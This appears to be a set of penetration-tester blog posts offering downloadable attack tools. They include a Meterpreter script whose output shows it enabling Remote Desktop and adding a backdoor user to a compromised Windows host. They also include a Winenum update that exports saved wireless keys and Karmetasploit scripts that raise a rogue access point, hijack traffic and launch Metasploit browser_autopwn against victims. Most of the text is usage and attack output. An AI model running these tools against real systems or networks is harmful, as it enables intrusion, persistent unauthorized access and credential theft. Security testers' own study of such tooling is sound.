Winenum Update

Josh Wright from Inguardians published a great paper called Vista Wireless Power Tools on the new features of Windows Vista wireless commands plus published several tools. I added the enumerations commands to Winenum plus it will now export the registry keys where the wireless configured networks of Windows XP and Windows Vista machines is stored, this files can be imported into the pentesters windows bos to gain access to the clients network or to get the wireless keys using other tools after importing.

Meterpreter Script for RDP Configuration on Target

For those time when you just need GUI
I tested the script in Windows XP, Windows 2003, Windows Vista and Windows 2008 let me know if you like it.
http://www.darkoperator.com/getgui.tar.gz
Example:

meterpreter > run getgui -u SUPPORT_3028 -p P@ssword
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  Terminasl Services service is already set to auto
[*]  Opening port in local firewall if necessary
[*] Setting user account for logon
[*]  Adding User: SUPPORT_3028 with Password: P@ssword
[*]  Adding User: SUPPORT_3028 to local group Remote Desktop Users
[*] You can now login with the created user
meterpreter >

Updated Karmetasploit Attack Script

---

Here is the version of the script that will use the DigiNinja Karma patch for atheros, I find it a more flexible and reliable alternative to airbase-ng, but it will be limited to atheros cards for all other aircrack supported cards the modes that use airbase-ng can be used, plus fixed the path issue with Metasploit. Hope you guys like it. Here is the link to the script with the changes:
http://www.darkoperator.com/kmsapng.tar.gz
if you changed the kernel modules of your BT3 install you can get the patched modules of madwifi with digininja's karma patch and the patch from aircrack-ng here:
http://www.darkoperator.com/madwifi-r37 … g-patc.lzm
I do have to say that digininjas karma patch is a must for anyone using an atheros card and is doing wireless client side attacks.

Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.3
carlos_perez[at]darkoperator.com
usage: kmsap.sh 
Options:
-m         : Every mode is a different approach of the attack.
                       km     for regular karmetasploit attack using airbase-ng
                       kmf    for filtered attack where only targeted
                              clients can associate to the fake AP using the
                              filter file.
                       kma    for karmetasploit attack using DigiNinja patched
                              madwifi drivers.
                       kmaf   for karmetasploit attack using DigiNinja patched
                              madwifi drivers and mac address filtering.
-i    : Interface supported by aircrack-ng for injection
-f  : Text file with mac addresses of client computers
                 permited to connect to the fake AP used with kmf and
                       kmaf modes, on mac address per line.
-s         : SSID name used as the initial broadcast
-r  : Metasploit Resource Script (Optional)
-h               : This help message
Note: mode and interface are required for all types of attacks and -f for filtered attacks

Karmetasploit Script Updated

http://www.darkoperator.com/kmsapng.tgz

The script will do the following:
- Change the MAC address of the interface
- Set the Interface in Monitor Mode
- Start the Karma AP with Airbase-ng
- Change the MTU Size for the interface
- Set the IP
- Start the DHCPD server
- Set in iptables a redirect of all traffic to it self so as to bypass cached DNS entries
- Start Metasploit.

The script will crate a log file in /root called karma.log, as well as a sqlite db and a capture file all in the same folder.

here is a preview of the script and its option, I posted this same entry in the remote-exploit forums and the Pauldotcom forums and have received very good feedback on it.

bt ~ # ./kmsapng.sh -h
Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.2
carlos_perez[at]darkoperator.com
usage: kmsap.sh

Options:
-m : Mode, either km for regular karmetasploit attack
or kmf for filtered attack where only targeted
clients can associate to the fake AP.
-i : Interface supported by aircrack-ng for injection
-f : Text file with mac addresses of client computers
permited to connect to the fake AP.
-s : SSID name used as the initial broadcast
-h : This help message

Note: mode and interface are required for both type of attacks

Example:

bt ~ # ./kmsapng.sh -i wlan0 -m km -s linksys
Changing MAC Address
Current MAC: 00:0f:c1:08:12:91 (Wave Corporation)
Faked MAC: 00:40:1b:5b:b0:0b (Printer Systems Corp.)
starting fake ap
This will take 15 seconds ..............
DHCPD started successfully
Starting Packet capture to /root/kms.cap
Starting Metasploit

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ msf v3.2-testing
+ -- --=[ 288 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 56 aux

resource> load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource> set LHOST 10.0.0.1

......................................

I have tested the script using Ralink 2570, Realtek 8187L and Atheros cards. Let me know if you guys like it and if you have any recommendations. The script is heavily commented in case you whant to take a look.